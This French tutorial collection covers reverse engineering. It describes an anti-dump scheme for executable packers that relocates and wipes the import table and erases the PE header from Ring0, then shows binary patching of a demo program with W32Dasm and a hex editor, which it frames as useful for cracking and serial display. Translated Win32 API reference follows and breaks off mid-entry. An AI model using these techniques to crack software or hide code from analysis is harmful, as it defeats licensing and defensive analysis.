Pour l'instant les Anti-Dump rencontrés sont du type : Déplacement d'une partie du code original dans la section de cryptage, comme ça au moment du Dump, une partie de code est manquante. Il y a aussi les Anti-Dump du type Asprotect. Et là ils ont été franchement forts sur ce point. Les adresses des fonctions contenues dans l'IAT ne pointent pas directement sur les bonnes fonctions mais quelques octets à l'intérieur. En délocalisant directement dans la section .text le petit bout de code qui n'est pas exécuté dans la DLL, le tout reste valide et empêche le dump car on se retrouve avec du code supplémentaire après un Dump.
J'ai pensé à un autre moyen qui n'a rien à voir avec ça. J'ai concrétisé le procédé mais pour des raisons de longueur de tut et surtout d'explications point par point que je me vois mal faire, j'ai préféré seulement vous faire part du concepte sans la pratique.
Mon Anti-Dump ne concerne pas le code (.text) mais l'IAT (.idata).

Pour qu'un programme crypté fonctionne quand même, il faut qu'une fois en mémoire lorsqu'on arrive à son Entry Point Original (OEP) son code soit valide donc décrypté. Il faut aussi pour que ses CALL appellent les bonnes fonctions, que les membres FIRST_THUNK (THUNK_DATA de leur vrai nom) aient pris les valeurs des adresses des fonctions à l'intérieur des DLL. Donc du type BFF.....ou 74.....par exemple.
Maintenant, ouvrez bien vos oreilles parce que le principe est celui-ci. Avant même que la moindre ligne de code n'aie été exécutée, c'est toujours le Loader de Windows qui a la main et il lit le contenu de l'IAT pour remplacer les membres FIRST_THUNK par les adresses des fonctions. Ce que j'ai fait, c'est laisser un IAT valide mais entièrement délocalisé (et réadressé) dans ma section de cryptage. Puisqu'il est néanmoins valide, le Loader pourra remplacer les FIRST_THUNK par les adresses correctes, cependant ces adresses ne sont pas encore aux endroits attendues par les CALL fonctions de la section .text.
Ensuite c'est mon tour, c'est moi qui prend la main, et ma section de cryptage détruit tout l'IAT (original) puis surtout déplace les FIRST_THUNK réactualisés dans ma section de cryptage vers l'IAT original à l'endroit où les call les attendaient. Et du coup tout fonctionne parfaitement puisque c'est uniquement ce qu'utilisent les CALL pour rester valides. Pourquoi j'ai déplacé tout l'IAT ? C'est parce que sinon il suffisait juste d'ouvrir le programme avec un éditeur hexadécimal, de recopier l'IAT dans un fichier tampon, de faire le dump puis de reverser la copie à sa place pour que tout refonctionne. Mais là comme la copie de l'IAT est ailleurs, aucune adresses (RVA) n'est correcte si on fait un copier/coller de tout ça vers sa position d'origine.

Si on s'en tenait à ça, l'Anti-Dump serait déjà pas mal. Car si on Dumpait au niveau de l'OEP, on aurait dans l'IAT des valeurs dans les FIRST_THUNK qui correspondent aux adresses des fonctions des DLL sur notre machine. Mais donnez ce programme dumpé à un ami, si il n'a pas les mêmes versions de DLL que vous, les adresses ne seront plus les bonnes et le programme plantera chez lui.

Mais on peut également faire échouer le Dump à tous les coups même sur notre propre ordi et même en ayant les bonnes adresses. Bon j'ai dit que tout était vide dans mon IAT sauf les FIRST_THUNK, et bien maintenant ma section de cryptage récrit dans l'IAT (original) un seul nom de fonction "ExitProcess" et sa DLL parente "KERNEL32.dll". Je ne touche surtout pas aux FIRST_THUNK. Par contre tous les ORIGINAL_FIRST_THUNK je les réécris pour qu'ils pointent sur ExitProcess. Et le membre TimeDateStamp de chaque structure IMAGE_IMPORT_DESCRIPTOR est volontairement mis à 0FFFFFFFFh.

Et que ce passe-t-il si maintenant on fait un Dump. Si j'en fais un et que je lance ce programme Dumpé, les FIRST_THUNK pointent bien vers les bonnes adresses (pour mon ordi seulement, d'une part) donc normalement le programme devrait fonctionner normalement. Mais avant d'exécuter le code, le loader lit l'IAT et il voit que DateTimeStamp n'est pas NULL. Ce qui signifie pour lui que cette valeur est normalement celle de la date de création des DLL utilisées, donc il regarde si vos DLL intallées sur votre ordinateur ont été créées au temps 0FFFFFFFF. Forcément non, et ça... ça signifie pour lui que vos DLL actuelles sont d'une version différente de celles installées sur l'ordi où a été créé le pogramme et donc les FIRST_THUNK sont considérés comme n'étant plus valides. C'est pourquoi il va retourner lire les ORIGINAL_FIRST_THUNK qui rappelez-vous pointent tous sur ExitProcess. D'après le nom de cette fonction, il va retrouver son adresse correcte dans la DLL. Et va remplacer chaque FIRST_THUNK par l'adresse de ExitProcess au lieu des adresses correctes initiales (semi-correctes).

Du coup après un Dump, votre code reste correcte car décrypté, mais toutes les fonctions du programme pointent sur ExitProcess. Et il n'y a plus moyen de retrouver les anciens noms car ils ne sont ni dans l'IAT, ni même dans ma section de cryptage vu que j'ai pris grand soin de les détruire dès que les FIRST_THUNK ont été correctement initialisés, avant même le décryptage de la section code. Votre programme dumpé ne provoquera donc aucune faute, mais sera terminé en quelques lignes de code seulement.

Le seul moyen de retrouver le programme d'origine valide pour tous et pas seulement pour soit, ce serait de lui faire subir le dump, et de récrire la totalité de l'IAT à la main. C'est quand même plus dissuasif qu'un Anti-Dump par déplacement de code, non ? A voir : Ring0.....
Un autre Anti-Dump possible sans toucher ni .text ni .idata serait de détruire le PE-Header une fois que le programme soit en mémoire. Comme ça un dump de ce fichier donnerait un programme sans Header, donc même pas un PE-File. Impossible à ouvrir sous aucun débugger car pour eux ça pourrait tout aussi bien être un fichier texte qu'une image.... Mais pour faire ça il faudra d'abord passer en Ring0 pour avoir accès à la zone 00400000h-00401000h en écriture sans provoquer de défaillance de page.
Il y a une autre chose dont je n'ai pas parlé et qui rendrait bien plus difficile le fait de retrouver le programme d'origine, mon type de cyptage s'effectue sur le fichier lui-même (sur le DiskDur) mais un cryptage en mémoire est aussi possible car certains virus polymorphes utilisent les deux à la fois. Le tout c'est que tout au long de la lecture du code en mémoire, on décode une petite zone autour du point de lecture puis on le recrypte derrière. Mais je ne maîtrise pas ça donc je ne peux pas vous en dire plus. Je sais juste que c'est possible et vous en fais peut-être prendre conscience, parce que c'est certainement une des voix les plus prometteuse pour l'encryption.

Bon, je laisse 2 crypteurs pour tester leur efficacité si ça vous dit.
- Crypt1 : Mon crypteur basic
- Crypt2 : Crypteur polymorphe (sections .data && .text) + anti-dump (.idata) + Puslar + AntiSice (Ring0)

-:- With my grateful thanks to Pulsar & Christal -:-


 Quelques explications originales sur

Quelques explications originales sur

W32Dasm

Traduction de logiciel ou Signature

d’un crack directement dans le programme.

PARTIE I : Fonctionnement des fenêtres MessageBoxA

C’est un plus de comprendre le fonctionnement des boites de message car elles sont largement utilisées dans tous les mécanismes de réponse en retour du mauvais serial.

Voici l’intérieur du petit programme Morgatte.exe livré avec ce document et des explications sur des points qui restent rarement abordés.

Disassembly of File: asm.EXE

Code Offset = 00000600, Code Size = 00000200

Data Offset = 00000800, Data Size = 00000200

Number of Objects = 0004 (dec), Imagebase = 00400000h

Object01: CODE RVA: 00001000 Offset: 00000600 Size: 00000200 Flags: 60000020 <--------------- Ici

Object02: DATA RVA: 00002000 Offset: 00000800 Size: 00000200 Flags: C0000040 <--------------- Et ici

Object03: .idata RVA: 00003000 Offset: 00000A00 Size: 00000200 Flags: C0000040

Object04: .reloc RVA: 00004000 Offset: 00000C00 Size: 00000200 Flags: 50000040

Ici, on voit 2 choses importantes. Le segment du code commence en 00401000 (car Imagebase=00400000 et CODE=00001000). Il suffit d’ajouter les deux.

Le segment des données commence en 00402000 (mêmes raisons) ET C’EST CA QUI M’INTERESSE SURTOUT…… Allez jusqu’à la fin du listing du programme !

+++++++++++++++++++ MENU INFORMATION ++++++++++++++++++

There Are No Menu Resources in This Application

+++++++++++++++++ DIALOG INFORMATION ++++++++++++++++++

There Are No Dialog Resources in This Application

+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++

Number of Imported Modules = 2 (decimal)

Import Module 001: USER32.dll

Import Module 002: KERNEL32.dll

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

Import Module 001: USER32.dll

Addr:00003074 hint(0000) Name: MessageBoxA

Import Module 002: KERNEL32.dll

Addr:00003082 hint(0000) Name: ExitProcess

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++

Number of Exported Functions = 0000 (decimal)

+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++

//********************** Start of Code in Object CODE **************

Program Entry Point = 00401000 (asm.EXE File Offset:00001800) <---- Adresse du point d’entrée du

programme (Première adresse lue)

//******************** Program Entry Point ********

:00401000 6A00 push 00000000 <---- Vous voyez que le CODE du programme

:00401002 6828204000 push 00402028 commence bien en 00401000 (Par contre l’Entry Point aurai très bien pu être ailleurs)

* Possible StringData Ref from Data Obj ->"Voici le texte " Ici ce petit programme ouvre uniquement une boite

de dialogue. Pour faire çà il faut appeler la fonction

MessageBoxA. Mais il faut avant ça donner le n°

:00401007 6800204000 push 00402000 <---- de la boite qu’on veut appeler et où trouver le

:0040100C 6A00 push 00000000 texte (les données, data) à y placer.

Et regardez justement Push 00402000 accède aux

* Reference To: USER32.MessageBoxA, Ord:0000h segment où sont placées les DATA.

| (Il faut 4 info en fait mais je développerai pas)

:0040100E E807000000 Call 0040101A

:00401013 6A00 push 00000000 Regardez la fin du programme c’est en 004011FC.

Alors que les DATA commencent en 00402000.

* Reference To: KERNEL32.ExitProcess, Ord:0000h En fait, W32Dasm montre le CODE de 00401000

à 004011FC mais ne montre jamais les DATA, et

:00401015 E806000000 Call 00401020 ça c’est bien dommage ! ! !

On pourrait en effet changer tous les boutons et le

* Referenced by a CALL at Address: texte d’un logiciel Anglais pour le traduire en Fr.

|:0040100E Créer un patch non pas pour cracker un logiciel

| mais pour le traduire. C’est ce qui est utilisé pour

MoreTV si vous connaissez. Rassurez-vous il y a

* Reference To: USER32.MessageBoxA, Ord:0000h quand même un moyen.

|

:0040101A FF254C304000 Jmp dword ptr [0040304C]

* Reference To: KERNEL32.ExitProcess, Ord:0000h

|

:00401020 FF2554304000 Jmp dword ptr [00403054]

:00401026 00000000000000000000 BYTE 10 DUP(0)

:00401030 00000000000000000000 BYTE 10 DUP(0)

…..

…..

:004011F2 00000000000000000000 BYTE 10 DUP(0)

:004011FC 00000000212121204C65 BYTE 10 DUP(0)

Voilà, cette fois-ci je ne me sert pas deW32Dasm pour cracker mais pour trouver les informations utiles pour traduire des logiciels.

Continuons avec W32Dasm il peut encore nous en apprendre:

- Debug àLoad Process àLoad

- Dans la fenêtre3 cochez les 5 petites cases (surtout : Enable Local Fonction Details)

- Auto Step Over (ou Into mais ici on entre dans aucun call)

On est arrêté sur le Call qui ouvre la seule boîte de dialogue de notre programme. Et W32Dasm nous donne les caractéristiques des constituants de cette boîte.

:0040100E E807000000 Call 0040101A <---- On est arrêté sur ce Call

:00401013 6A00 push 00000000 <---- On retournera à cette adresse

L1 API NODOC Arg00 = Local_Function(Arg01,Arg02,Arg03,Arg04,Arg05,Arg06,Arg07,Arg08)

L2 API Address=0040100E, API Return Address=00401013

L3 Arg01 = 00000000

L4 Arg02 = 00402000 ->(LPDWORD)63696f56 or (LPSTR)"Voici le texte à retrouver dans W32Dasm"

L5 Arg03 = 00402028 ->(LPDWORD)20726150 or (LPSTR)"Par Morgatte"

L6 Arg04 = 00000000

L7 Arg05 = bff88e93 ->(LPDWORD)ebd84589 or (LPSTR)"‰EØëÿuìè

"

L8 Arg06 = 81620ad0 ->(LPDWORD)00000006 or (LPSTR)""

L9 Arg07 = 8161bd04 ->(LPDWORD)00000005 or (LPSTR)""

L10 Arg08 = 00530000 ->(LPDWORD)00000005 or (LPSTR)""

Regardez lignes L4 :

- 00402000 représente l’adresse à laquelle le texte de la boîte est inscrit. C’est le début du segment des données (DATA). On retrouve d’ailleurs un Push 00402000 avant le call

- LPDSTR ce sont les Strings(ou chaîne de caractères). Qui ici a pour valeur : ‘’Voici le texte à retrouver dans W32Dasm’’.

- LPDWORD ça c’est la représentation Hexadécimal de la chaîne de caractères juste au dessus. Sa représentation en Hexadécimal est donc 63696f56…..

Regardez la ligne L5 :

- C’est la même chose sauf qu’ici on accède au titre de la boîte de texte.

On retrouve d’ailleurs un Push 00402028 avant le call

Regardez la ligne L8 : (juste pour info)

- l’adresse BFF…., ça c’est typique d’une adresse qui se trouve dans Kernel32 ou User32.

- Et d’ailleurs la fonction MessageBoxA qui est la fonction pour ouvrir une boîte de message, est une fonction de User32.

Bon revenons à la chaîne de caractères. Comment changer cette chaîne en une autre avec W32Dasm ? Avec W32Dasm on voit le segment de CODE mais pas le segment des DATA alors que le texte qui nous intéresse fait précisément parti des DATA. Par contre maintenant on sait que les DATA commencent à partir de l’adresse 00402000.

Relancez W32 :

- Debug à Load Process à Load

- Dans la fenêtre n°2 il y a un « User Address 1 » mettez 00402000

- Et cliquez sur UA1 pour voir son contenu (en descendant vous verrez tout ce qui se trouve dans les DATA)

[00402000] - 63696f56 Voic

[00402004] - 656c2069 i le

[00402008] - 78657420 tex

[0040200C] - e0206574 te .

[00402010] - 74657220 ret

[00402014] - 76756f72 rouv

[00402018] - 64207265 er d

[0040201C] - 20736e61 ans …………..

Cliquez sur Byte pour mieux voir chaque lettre associée à son code.

On peut cliquer sur ‘Modify Data’ pour changer ça sous W32Dasm mais ce sera temporaire.

Il faut passer par un éditeur hexadécimal pour faire un changement définitif.

Donc vous recherchez le texte si le votre le permet. Sinon vous recherchez son équivalent en hexadécimal, soit : 63696f56656c2069…..

Je vous est fait un petit Patch qui sert à transformer ce petit exemple du français vers l’anglais.

Vous voyez que sur un même programme et en un unique patch on peut:

- Le cracker

- Le traduire

- Et y placer des informations pour dire qui l’a cracké (dans la fenêtre ABOUT par exemple)

Un dernier petit problème :

Le texte en Anglais est plus long que celui en Français. Il va donc falloir déplacer le texte qui sert de titre à notre boîte sinon le texte qui est contenu dans cette boîte va passer par dessus le texte.

L’original :

- contenu (00402000) : ‘Voici le texte à retrouver avec W32Dasm’

- titre (00402028): ‘Par Morgatte’

Une fois changé :

- contenu (00402000) : ‘This is the text that you must search with W32Dasm’

- titre (00402033) ‘By Morgatte’

(J’ai pris 00402033 mais j’aurai pu prendre plus large du moment que se soit vide ! ! !)

Donc voilà, j’ai changé le texte en récrivant par dessus et j’ai écrit ‘By Morgatte’ un peut plus loin mais il reste maintenant à informer que son titre n’est plus en 00402028 mais en 00402033.

C’est cette ligne qu’il faut changer (la bleue):

:00401000 6A00 push 00000000

:00401002 6828204000 push 00402028 la lecture se fait à l’envers 2 par 2.

:00401007 6800204000 push 00402000

:0040100C 6A00 push 00000000

Au lieu de Push 00402028 il nous faut un Push 00402033.

Toujours avec un éditeur Hexadécimal il faut retouver :

6A0068282040006800204000

Et remplacer par :

6A0068332040006800204000

Si par mégarde vous avez perdu le prog d’origine en français, renommez Morgatte.bak en Morgatte.exe

PARTIE II : Les différentes variantes de fenêtres MessageBox :

En se servant de W32Dasm on voit qu’une MessageBox est ouverte par un Call et en passant dessus, il nous revoie le détail :

API NODOC Arg00 = Local_Function(Arg01,Arg02,Arg03,Arg04,Arg05,Arg06,Arg07,Arg08)

API Address=0040100E, API Return Address=00401013

Arg01 = 00000000

Arg02 = 00402000 ->(LPDWORD)63696f56 or (LPSTR)"Voici le texte à retrouver dans W32Dasm"

Arg03 = 00402028 ->(LPDWORD)20726150 or (LPSTR)"Par Morgatte"

Arg04 = 00000000

Arg05 = bff88e93 ->(LPDWORD)ebd84589 or (LPSTR)"‰EØëÿuìè

"

Arg06 = 81621690 ->(LPDWORD)00000006 or (LPSTR)""

Arg07 = 81617b04 ->(LPDWORD)00000005 or (LPSTR)""

Arg08 = 00530000 ->(LPDWORD)00000005 or (LPSTR)""

Ce sont les 4 premiers Arg0 qui sont importants car ils définissent le type de Box à afficher ainsi que son contenu.

Ces 4 Arguments sont les 4 Push qui précèdent le Call ouvrant la MessageBox. Regardez dans le petit programme on avait : (en enlevant tous les commentaires de W32)

:00401000 6A00 push 00000000 <--- Le premier définit le type de MessageBox. (voir après)

:00401002 6828204000 push 00402028 <--- Le second définit le texte pour son titre.

:00401007 6800204000 push 00402000 <--- Le troisième définit le texte pour son contenu.

:0040100C 6A00 push 00000000 <--- Le quatrième définit le n°de la fenêtre.

:0040100E E807000000 Call 0040101A

Il est ainsi possible d’inverser le texte du titre avec celui du contenu, mais mieux, on peut faire pointer le contenu sur l’adresse du bon serial pour peu qu’on l’ai trouvé. Comme ça quelque soit le Nom que vous entrez, le programme vous renverra le bon Serial qui lui correspond au lieu d’inscrire le mauvais message.

Cette MessageBox ne comporte qu’un seul bouton ‘Ok’ mais on en trouve d’autres qui possèdent plusieurs boutons comme ‘Réessayer’ ‘Annuler’ ‘Ok’. Ou bien il y a aussi des MessageBox qui on un signe particulier comme le ‘? pour l’Aide’, ‘le ! pour Attention’, ‘la croix pour l’Interdiction’, ‘ le i pour l’information’.

Tout ceci est géré par le premier Push (ou Arg01).

Voici des exemples et un tableau récapitulatif :

Push 0000

Push 0001

Push 0002

Push 0010

Push 0047 (c’est y pas joli ça : impossible de fermer celle là sans passer par Ctrl+Alt+Suppr)

On voit qu’un seul Push permet de modifier 3 éléments, ‘les boutons’ ‘la croix de fermeture active ou non’ et ‘le type de boite : Rien Interdiction Attention Information Aide’.
Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Non

Aide

Ignorer

Activ

0000

X

X

0001

X

X

X

X

0002

X

X

X

X

0003

X

X

X

X

X

0004

X

X

X

0005

X

X

X

X

0006

X

X

0007

X

0008

X

X

X

X

0009

X

000A

X

X

X

X

X

000B

X

000C

X

X

X

X X

X

000D

X

000E

X

X

X

X

X

X

X

000F

X

Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Non

Aide

Ignorer

Activ

0010

X

X

0011

X

X

X

X

0012

X

X

X

X

0013

X

X

X

X

X

0014

X

X

X

0015

X

X

X

X

0016

X

X

0017

X

0018

X

X

X

X

0019

X

001A

X

X

X

X

X

001B

X

001C

X

X

X

X X

X

001D

X

001E

X

X

X

X

X

X

X

001F

X

Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Non

Aide

Ignorer

Activ

0020

X

X

0021

X

X

X

X

0022

X

X

X

X

0023

X

X

X

X

X

0024

X

X

X

0025

X

X

X

X

0026

X

X

0027

X

0028

X

X

X

X

0029

X

002A

X

X

X

X

X

002B

X

002C

X

X

X

X X

X

002D

X

002E

X

X

X

X

X

X

X

002F

X

Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Non

Aide

Ignorer

Activ

0030

X

X

0031

X

X

X

X

0032

X

X

X

X

0033

X

X

X

X

X

0034

X

X

X

0035

X

X

X

X

0036

X

X

0037

X

0038

X

X

X

X

0039

X

003A

X

X

X

X

X

003B

X

003C

X

X

X

X X

X

003D

X

003E

X

X

X

X

X

X

X

003F

X

Le signe
Les boutons

Croix

rien

croix

?

!

i

Ok

Annuler

Abandon

Réessayer

Non

Aide

Ignorer

Activ

0040

X

X

0041

X

X

X

X

0042

X

X

X

X

0043

X

X

X

X

X

0044

X

X

X

0045

X

X

X

X

0046

X

X

0047

X

0048

X

X

X

X

0049

X

004A

X

X

X

X

X

004B

X

004C

X

X

X

X X

X

004D

X

004E

X

X

X

X

X

X

X

004F

X

Voilà c’est pas dure comme ça :

Un petit exemple je veux transformer mon petit programme d’origine en :

- inversant le titre et le contenu <---------------------------------------- 2e et 3e Push

- ayant le symbole d’interdiction présent (la croix rouge) <-----------|

- ayant les boutons ‘Annuler’ et ‘Aide’ <-----------------------------|-- 1er Push

- ayant la ‘croix de fermeture’ activée <-----------------------------|

On avait :

:00401000 6A00 push 00000000 <--- Le premier définit le type de MessageBox.

:00401002 6828204000 push 00402028 <--- Le second définit le texte pour son titre.

:00401007 6800204000 push 00402000 <--- Le troisième définit le texte pour son contenu.

:0040100C 6A00 push 00000000

:0040100E E807000000 Call 0040101A

il faut maintenant :

:00401000 6A00 push 00000018 <--- Le premier définit le type de MessageBox.

:00401002 6828204000 push 00402000 <--- Le second définit le texte pour son titre.

:00401007 6800204000 push 00402028 <--- Le troisième définit le texte pour son contenu.

:0040100C 6A00 push 00000000

:0040100E E807000000 Call 0040101A

Par Morgatte


WNDCLASS (Win32)

typedef struct tagWNDCLASS {    /* wc */
    UINT        style;
    WNDPROC     lpfnWndProc;
    int         cbClsExtra;
    int         cbWndExtra;
    HANDLE      hInstance;
    HICON       hIcon;
    HCURSOR     hCursor;
    HBRUSH      hbrBackground;
    LPCTSTR     lpszMenuName;
    LPCTSTR     lpszClassName;
} WNDCLASS;

La structure WNDCLASS contient les attributs de Class qui sont enregistrés par la fonction
RegisterClass.

Membre 	 Description

style 	 Est le style de Class. Ces styles peuvent être combinés en employant l'opérateur OU.
     Ça peut être n'importe quelle combinaison des valeurs suivantes :

Valeur | Signification
CS_BYTEALIGNCLIENT | Aligne le secteur client d'une fenêtre sur le bord (frontière) de la fenêtre (direction x).
CS_BYTEALIGNWINDOW | Aligne une fenêtre sur la frontière (direction x). Ce flag doit être mis par les applications qui exécutent des opérations avec des bitmaps dans des fenêtres en utilisant la fonction BitBlt.
CS_CLASSDC | Donne la Class de fenêtre de son propre contexte d'affichage.
CS_DBLCLKS | Envoie des messages de double-clic à une fenêtre.
CS_GLOBALCLASS | Indique que la Class de fenêtre est une Class d'application 'Globale'. Une Class d'application Globale est créée par l'application ou une bibliothèque et est disponible pour toutes les applications. La Class est détruite lorsque l'application ou la bibliothèque qui l'a créé se referme. Il est donc essentiel, que toutes les fenêtres ayant été créées avec cette Class Globale doivent être refermées avant que cela n'arrive.
CS_HREDRAW | Rafraîchit la fenêtre en entier si sa taille horizontale change.
CS_NOCLOSE | Interdit l'option 'clique sur la croix de fermeture' sur le menu System (les 3 petites icônes).
CS_OWNDC | Donne son propre contexte d'affichage à chaque fenêtre. Notez que : bien que le style CS_OWNDC soit pratique, il doit être utilisé avec discrétion parce que chaque contexte d'affichage occupe approximativement 800 octets de mémoire.
CS_PARENTDC | Donne le contexte d'affichage de la fenêtre parente en tant que Class de fenêtre.
CS_SAVEBITS | Indique que le système doit essayer de sauvegarder l'image à l'écran derrière une fenêtre créée par cette Class de fenêtre en tant que bitmap. Plus tard, lorsque la fenêtre est enlevée, le système utilise ce bitmap pour rétablir rapidement l'image de l'écran. Ce style est utile pour les petites fenêtres qui sont affichées brièvement et enlevées très rapidement avant que la plupart des activité d'écran n'ait eu lieu (par exemple, des menus ou des boîtes de dialogue). Ce style augmente le temps exigé pour afficher la fenêtre puisque le système doit d'abord réserver de la mémoire pour stocker le bitmap.
CS_VREDRAW | Rafraîchit la fenêtre en entier si la taille verticale change.

                                 CS_VREDRAW                         equ 1h           Vu dans ... MASM32\include\Windows.inc
                                 CS_HREDRAW                         equ 2h
                                 CS_KEYCVTWINDOW                    equ 4h
                                 CS_DBLCLKS                         equ 8h
                                 CS_OWNDC                           equ 20h
                                 CS_CLASSDC                         equ 40h
                                 CS_PARENTDC                        equ 80h
                                 CS_NOKEYCVT                        equ 100h
                                 CS_NOCLOSE                         equ 200h
                                 CS_SAVEBITS                        equ 800h
                                 CS_BYTEALIGNCLIENT                 equ 1000h
                                 CS_BYTEALIGNWINDOW                 equ 2000h
                                 CS_PUBLICCLASS                     equ 4000h
                                 CS_GLOBALCLASS                     equ CS_PUBLICCLASS
                                 CS_IME                             equ 10000h

lpfnWndProc 	 Pointe sur la procédure de fenêtre. Pour plus d'information, voyez la
         description de la fonction callback WindowProc.
cbClsExtra 	 Spécifie le numéro d'octets supplémentaires pour réserver à la suite de la
         structure 'Class de fenêtre'.
cbWndExtra 	 Spécifie le nombre d'octets supplémentaires pour réserver à la suite de
         Instance de cette fenêtre. Si une application utilise la structure WNDCLASS
         pour enregistrer une DialogBox créée grâce à la directive CLASS dans le
         fichier de ressource, elle doit mettre ce membre à DLGWINDOWEXTRA.
hInstance 	 Identifie l'Instance dans laquelle se trouve la procédure de fenêtre de
         cette Class.
hIcon 	 	 Identifie la Calss de l'icône. Ce membre doit être le handle d'une ressource
         d'icône. Si ce membre est un NULL, l'application doit dessiner une icône à
         chaque fois que l'utilisateur réduit au minimum la fenêtre de l'application.
hCursor 	 Identifie la Class du curseur. Ce membre doit être le handle d'une ressource
         (curseur). Si ce membre est un NULL, l'application doit explicitement mettre
         la forme du curseur à chaque fois que la souris se déplace dans la fenêtre de
         l'application.
hbrBackground 	 Identifie la Class de la couleur de fond. Ce membre peut être soit le handle
         de la brosse physique qui doit être utilisée pour repeinture le fond, soit la
         valeur d'une couleur. Si on donne une valeur en tant que couleur de fond, elle
         doit être une des couleurs du système standard inscrites ci-dessous et la
         valeur 1 doit être ajoutée à la couleur choisie (par exemple,
         COLOR_BACKGROUND + 1 spécifie la couleur 'System' de fond. Si on donne une
         couleur, elle doit être converti en un des types d'HBRUSH (de Handle de
         Brosses) suivants :

            COLOR_ACTIVEBORDER 	+1	; Gris Clair
            COLOR_ACTIVECAPTION 	+1	; Bleu Foncé
            COLOR_APPWORKSPACE 	+1	; Gris Foncé
            COLOR_BACKGROUND 	+1	; Bleu Turquoise
            COLOR_BTNFACE 		+1	; Gris Clair
            COLOR_BTNSHADOW 	+1	; Gris Foncé
            COLOR_BTNTEXT 		+1	; Noir
            COLOR_CAPTIONTEXT 	+1	; Blanc
            COLOR_GRAYTEXT		+1	; Gris Foncé
            COLOR_HIGHLIGHT 	+1	; Bleu Foncé
            COLOR_HIGHLIGHTTEXT 	+1	; Blanc
            COLOR_INACTIVEBORDER 	+1	; Gris Clair
            COLOR_INACTIVECAPTION	+1	; Gris Foncé
            COLOR_MENU		+1	; Gris Clair
            COLOR_MENUTEXT		+1	; Noir
            COLOR_SCROLLBAR	+1	; Gris Clair
            COLOR_WINDOW		+1	; Blanc
            COLOR_WINDOWFRAME	+1	; Noir
         COLOR_WINDOWTEXT	+1	; Noir

        COLOR_3DFACE 		+10	;Jaune
Le système supprime automatiquement les Class de brosses de fond lorsque cette Class est libérée. L'application ne doit pas supprimer ces brosses parce qu'une Class peut être employée par les multiples Instances d'une application.
Quand ce membre est NULL, l'application doit repeindre son propre fond chaque fois qu'il lui est demandé de repeindre son secteur client. L'application peut déterminer à quel moment elle doit repeindre son fond en traitant le message WM_ERASEBKGND ou en évaluant le membre fErase de la structure PAINTSTRUCT remplie par la fonction BeginPaint.

lpszMenuName 	 Pointe sur une chaîne de caractère terminée par un nul, laquelle représente le
         nom de Class de la ressource menu (comme le nom qui apparaît dans le fichier
         de ressource *.rc). Si un nb entier est employé pour identifier le menu, la
         macro MAKEINTRESOURCE peut être employée. Si ce membre est un NULL, les
         fenêtres appartenant à cette Class n'ont aucun menu par défaut.
lpszClassName 	 Pointe sur une chaîne de caractères terminée par un nul ou bien est un 'Atom'
         lequel identifie une chaîne de caractères. Si ce paramètre est un 'Atom', ce
         doit être un Atom Global créé par l'appel précédent de la fonction
         GlobalAddAtom. L'Atom, est une valeur 16 bits, qui doit être placé dans le
         WORD de poids faible de lpszClassName; le WORD de poids fort doit être purifié
         (Mis à zéro, vidé).
         La chaîne de caractères lpszClassName ou bien l'Atom représentent le nom de
         'Class de fenêtre'.

                 COLOR_SCROLLBAR               equ 0               Vu dans ... MASM32\include\Windows.inc
                 COLOR_BACKGROUND              equ 1
                 COLOR_ACTIVECAPTION           equ 2
                 COLOR_INACTIVECAPTION         equ 3
                 COLOR_MENU                    equ 4
                 COLOR_WINDOW                  equ 5
                 COLOR_WINDOWFRAME             equ 6
                 COLOR_MENUTEXT                equ 7
                 COLOR_WINDOWTEXT              equ 8
                 COLOR_CAPTIONTEXT             equ 9
                 COLOR_ACTIVEBORDER            equ 10
                 COLOR_INACTIVEBORDER          equ 11
                 COLOR_APPWORKSPACE            equ 12
                 COLOR_HIGHLIGHT               equ 13
                 COLOR_HIGHLIGHTTEXT           equ 14
                 COLOR_BTNFACE                 equ 15
                 COLOR_BTNSHADOW               equ 16
                 COLOR_GRAYTEXT                equ 17
                 COLOR_BTNTEXT                 equ 18
                 COLOR_INACTIVECAPTIONTEXT     equ 19
                 COLOR_BTNHIGHLIGHT            equ 20
                 COLOR_3DDKSHADOW              equ 21
                 COLOR_3DLIGHT                 equ 22
                 COLOR_INFOTEXT                equ 23
                 COLOR_INFOBK                  equ 24
                 COLOR_DESKTOP                 equ COLOR_BACKGROUND
                 COLOR_3DFACE                  equ COLOR_BTNFACE
                 COLOR_3DSHADOW                equ COLOR_BTNSHADOW
                 COLOR_3DHIGHLIGHT             equ COLOR_BTNHIGHLIGHT
                 COLOR_3DHILIGHT               equ COLOR_BTNHIGHLIGHT
                 COLOR_BTNHILIGHT              equ COLOR_BTNHIGHLIGHT
                 COLOR_HOTLIGHT                equ 26
                 COLOR_GRADIENTACTIVECAPTION   equ 27
                 COLOR_GRADIENTINACTIVECAPTION equ 28


OPENFILENAME (Win32)

typedef struct tagOFN { /* ofn */
    DWORD   lStructSize;
    HWND    hwndOwner;
    HANDLE  hInstance;
    LPSTR   lpstrFilter;
    LPSTR   lpstrCustomFilter;
    DWORD   nMaxCustFilter;
    DWORD   nFilterIndex;
    LPSTR   lpstrFile;
    DWORD   nMaxFile;
    LPSTR   lpstrFileTitle;
    DWORD   nMaxFileTitle;
    LPSTR   lpstrInitialDir;
    LPSTR   lpstrTitle;
    DWORD   Flags;
    WORD    nFileOffset;
    WORD    nFileExtension;
    LPSTR   lpstrDefExt;
    DWORD   lCustData;
    LPOFNHOOKPROC lpfnHook;
    LPSTR   lpTemplateName;
} OPENFILENAME;

La structure OPENFILENAME contient les informations dont le système se sert pour initialiser la
boîte de dialogue d'ouverture ou de sauvegarde de fichiers. Après que l'utilisateur aie refermé
la boîte de dialogue, le système renvoie dans cette structure les informations à propos du
fichier qui a été choisit.

Membre 	  	 Description

lStructSize 	 Spécifie la longueur de la structure (en octets).

hwndOwner 	 Identifie la fenêtre parente de cette boîte de dialogue. Ce paramètre peut
         être n'importe quel Handle valide de fenêtre, ou un NULL si la boîte de
         dialogue n'a aucun parent.

hInstance 	 Identifie un bloc de données qui contient un calibre de dialogBox indiqué par
